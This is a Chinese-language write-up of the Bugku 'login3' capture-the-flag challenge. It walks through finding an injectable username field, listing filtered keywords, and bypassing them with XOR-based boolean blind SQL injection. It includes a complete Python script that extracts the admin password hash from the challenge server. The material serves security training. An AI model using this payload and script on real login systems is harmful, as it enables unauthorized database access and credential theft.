bugku-Web-login3(SKCTF)(登录用户名+异或方式的bool盲注)

题目给出了提示:基于布尔的SQL盲注

打开网页,是登录框,那我们很大可能就是在username或password上进行注入,可能性大一点的是username了吧。

首先输进行一些尝试,找出正确的注入地方以及是否进行了过滤。

bugku-Web-login3(SKCTF)(登录用户名+异或方式的bool盲注)_第1张图片

 反馈是password error!

输入用户名admin1,得到username does not exist!,所以这里应该是先对username进行查询,这样就能确定我们的注入地方就是在username了。

然后看看有是否有被过滤掉的关键字符串,illegal character代表被过滤的非法字符串,尝试得到这些字符串背过滤:and、union、空格、for、information

我们用的是bool盲注,and和union背过滤了,那么就不能还用一般的union select来进行注入了,这里用到一个技巧:利用异或进行注入

无法利用information表,所以我们只能猜测后台的表了,表名是admin。下面给出盲注脚本:

import requests
url = 'http://123.206.31.85:49167/index.php'
dic = '1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ }{+-*/='

r = requests.session()
password = ''
for i in range(1, 30):
    for j in dic:
        payload = "admin'^(ascii(mid((select(password)from(admin))from({})))<>{})^0#".format(str(i), ord(j))
        data = {
            'username' : payload,
            'password' : '123'
        }
        t = r.post(url, data)
        print(payload)
        if 'error' in t.text:
            password += j
            print(password)
    if len(password) == 0:
        break
print(password)

脚本解释:

用的是admin'^0^0的方式,当<>不成立时,也就是我们这个字符猜解正确,就会变成admin'^0^0,异或结果为1,所以username不报错,接下来才对password进行查询,password=123是错误的,所以会有password error!,这时把这个字符收集起来。

也可以用admin'^1^1的方式,不过这时要用语句if ‘username’ in t.text来进行判断该字符是否猜解正确,原理和上面的一样。

猜解结果:51b7a76d51e70b419f60d3473fb6f

md5解密得到password,登录拿到flag。

你可能感兴趣的:(sql注入,Bugku)